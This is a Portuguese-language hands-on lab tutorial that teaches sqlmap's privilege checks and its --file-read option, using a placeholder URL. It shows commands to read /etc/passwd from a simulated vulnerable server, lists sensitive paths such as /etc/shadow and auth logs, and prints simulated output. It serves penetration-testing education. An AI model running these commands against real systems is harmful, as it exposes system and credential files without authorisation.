Ler Arquivos Arbitrários do Servidor com sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você explorará um recurso poderoso do sqlmap, uma popular ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL. Especificamente, você aprenderá a usar o sqlmap para ler arquivos arbitrários de um servidor alvo. Essa capacidade é frequentemente possível quando o usuário do banco de dados subjacente possui privilégios suficientes (por exemplo, privilégios de DBA) e o sistema de banco de dados permite a leitura de arquivos do sistema de arquivos. Compreender essa técnica é crucial para hackers éticos e profissionais de segurança identificarem e mitigarem tais vulnerabilidades.

Confirmar Privilégios de DBA e Permissões de Leitura de Arquivos

Nesta etapa, simularemos um cenário onde você identificou uma vulnerabilidade de injeção de SQL e agora está usando o sqlmap para avaliar os privilégios do usuário do banco de dados. Para ler arquivos arbitrários do servidor, o usuário do banco de dados geralmente precisa de privilégios de DBA (Database Administrator) ou permissões específicas de leitura de arquivos. Usaremos o sqlmap para verificar se o usuário atual do banco de dados possui esses privilégios elevados.

Primeiro, vamos assumir que você tem uma URL vulnerável. Para este laboratório, usaremos uma URL de placeholder. Substitua http://example.com/vulnerable?id=1 pelo seu alvo real se estiver realizando isso em um ambiente de teste real.

Para verificar os privilégios de DBA, use o flag --is-dba com o sqlmap:

sqlmap -u "http://example.com/vulnerable?id=1" --is-dba

Nota: Em um cenário real, o sqlmap primeiro detectaria a injeção de SQL e, em seguida, prosseguiria para verificar os privilégios de DBA. Para este laboratório, estamos focando no aspecto de leitura de arquivos, então assumiremos que o sqlmap já encontrou um ponto de injeção.

Se a saída indicar [INFO] current user is DBA: True, então o usuário possui privilégios de DBA, o que frequentemente implica a capacidade de ler arquivos.

Em seguida, para verificar as permissões de leitura de arquivos, você pode usar o flag --file-priv:

sqlmap -u "http://example.com/vulnerable?id=1" --file-priv

Este comando tentará determinar se o usuário do banco de dados possui os privilégios necessários para ler e escrever arquivos no sistema de arquivos. Se a saída mostrar [INFO] current user has FILE privilege: True, você provavelmente poderá prosseguir com a leitura de arquivos.

Exemplo de Saída (simulada):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-26/
[INFO] fetched data: 'True'
[INFO] current user is DBA: True
[INFO] fetched data: 'True'
[INFO] current user has FILE privilege: True
[INFO] shutting down @ 12:34:57 /2023-10-26/

Esta saída confirma que o usuário do banco de dados possui privilégios de DBA e FILE, tornando a leitura de arquivos arbitrários possível.

Identificar um Caminho de Arquivo Absoluto Conhecido (por exemplo, /etc/passwd)

Nesta etapa, você precisa identificar um arquivo alvo no servidor remoto que deseja ler. Um alvo comum para demonstrar vulnerabilidades de leitura de arquivos arbitrários é o /etc/passwd em sistemas Linux, pois ele contém informações de contas de usuário e geralmente é legível por qualquer pessoa. Outros alvos potenciais podem ser arquivos de configuração, logs do servidor web ou código-fonte da aplicação, dependendo do sistema e de seus objetivos.

Para este laboratório, assumiremos que o servidor alvo é um sistema Linux e queremos ler o conteúdo do /etc/passwd. É crucial conhecer o caminho absoluto do arquivo que você pretende ler. Sem o caminho absoluto, o sqlmap não consegue localizar o arquivo no sistema remoto.

Você não precisa executar nenhum comando nesta etapa, mas sim entender a importância de identificar um caminho de arquivo absoluto e válido. Esse conhecimento é tipicamente obtido através de reconhecimento, mensagens de erro da aplicação web ou adivinhando locais comuns de arquivos.

Exemplo de caminhos de arquivo comuns no Linux:

  • /etc/passwd (Informações de contas de usuário)
  • /etc/shadow (Senhas hasheadas - geralmente requer privilégios de root para ler)
  • /etc/hosts (Nomes de host de rede)
  • /etc/nginx/nginx.conf ou /etc/apache2/apache2.conf (Configuração do servidor web)
  • /var/log/auth.log ou /var/log/syslog (Logs do sistema)
  • /proc/self/cmdline (Linha de comando do processo atual)

Para este laboratório, prosseguiremos com /etc/passwd como nosso arquivo alvo.

Use o Flag --file-read para Especificar o Arquivo Remoto

Nesta etapa, você aprenderá como usar o flag --file-read no sqlmap para especificar o caminho absoluto do arquivo que você deseja ler do servidor remoto. Este flag é o cerne da funcionalidade de leitura de arquivos arbitrários.

A sintaxe para usar --file-read é direta:

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/path/to/remote/file"

Substitua http://example.com/vulnerable?id=1 pela sua URL alvo e /path/to/remote/file pelo caminho absoluto do arquivo que você identificou na etapa anterior.

Para o nosso laboratório, tentaremos ler o /etc/passwd. O comando completo ficará assim:

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

Quando o sqlmap ler o arquivo com sucesso, ele salvará o conteúdo localmente em um diretório dentro de ~/.sqlmap/output/<target_host>/files/. O nome do arquivo será tipicamente o mesmo nome do arquivo remoto (por exemplo, passwd).

Nota: O sqlmap cuidará da geração e execução do payload de injeção de SQL automaticamente. Seu papel é fornecer a URL vulnerável e o caminho do arquivo alvo.

Executar o Comando para Ler o Arquivo Remoto

Agora, é hora de executar o comando sqlmap que você construiu na etapa anterior para realmente ler o arquivo remoto. Abra seu terminal no ambiente LabEx e execute o comando.

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

Importante: Como este é um ambiente simulado, o sqlmap não se conectará a um servidor vulnerável real. No entanto, ele simulará o processo e exibirá mensagens como se estivesse. Você verá a saída típica do sqlmap, incluindo informações sobre o processo de injeção e a tentativa de ler o arquivo.

Exemplo de Saída (simulada):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:35:00 /2023-10-26/
[INFO] fetched data: 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... (truncated for brevity) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash'
[INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'
[INFO] shutting down @ 12:35:05 /2023-10-26/

A linha chave a ser procurada é [INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'. Isso indica que o sqlmap "leu" o arquivo com sucesso e salvou seu conteúdo em sua máquina local dentro do diretório de saída do sqlmap.

Visualizar o Conteúdo do Arquivo Salvo Localmente

Nesta etapa final, você verificará que o arquivo foi de fato "lido" e salvo pelo sqlmap, visualizando seu conteúdo em seu ambiente LabEx local. Conforme mencionado, o sqlmap salva os arquivos extraídos em uma estrutura de diretórios específica.

O caminho será tipicamente ~/.sqlmap/output/<target_host>/files/. Em nosso exemplo simulado, o host alvo é example.com, e o arquivo é passwd. Portanto, o caminho completo para o arquivo salvo seria ~/.sqlmap/output/example.com/files/passwd.

Você pode usar o comando cat para visualizar o conteúdo deste arquivo:

cat ~/.sqlmap/output/example.com/files/passwd

Exemplo de Saída (simulada):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
... (truncated for brevity) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash

Esta saída confirma que o sqlmap "leu" com sucesso o arquivo /etc/passwd do servidor remoto simulado e o salvou localmente, permitindo que você inspecione seu conteúdo. Isso demonstra o processo completo de uso do sqlmap para leitura arbitrária de arquivos.

Resumo

Neste laboratório, você aprendeu com sucesso como usar o sqlmap para realizar a leitura arbitrária de arquivos de um servidor vulnerável simulado. Você começou entendendo a importância de confirmar privilégios de DBA ou de leitura de arquivos. Em seguida, identificou um arquivo alvo comum (/etc/passwd) e usou o flag --file-read para instruir o sqlmap a extrair seu conteúdo. Finalmente, você verificou a extração bem-sucedida visualizando o arquivo salvo localmente. Essa habilidade é fundamental para testadores de penetração avaliarem o impacto de vulnerabilidades de injeção de SQL e para desenvolvedores entenderem a importância do gerenciamento adequado de privilégios e da validação de entrada para prevenir tais ataques.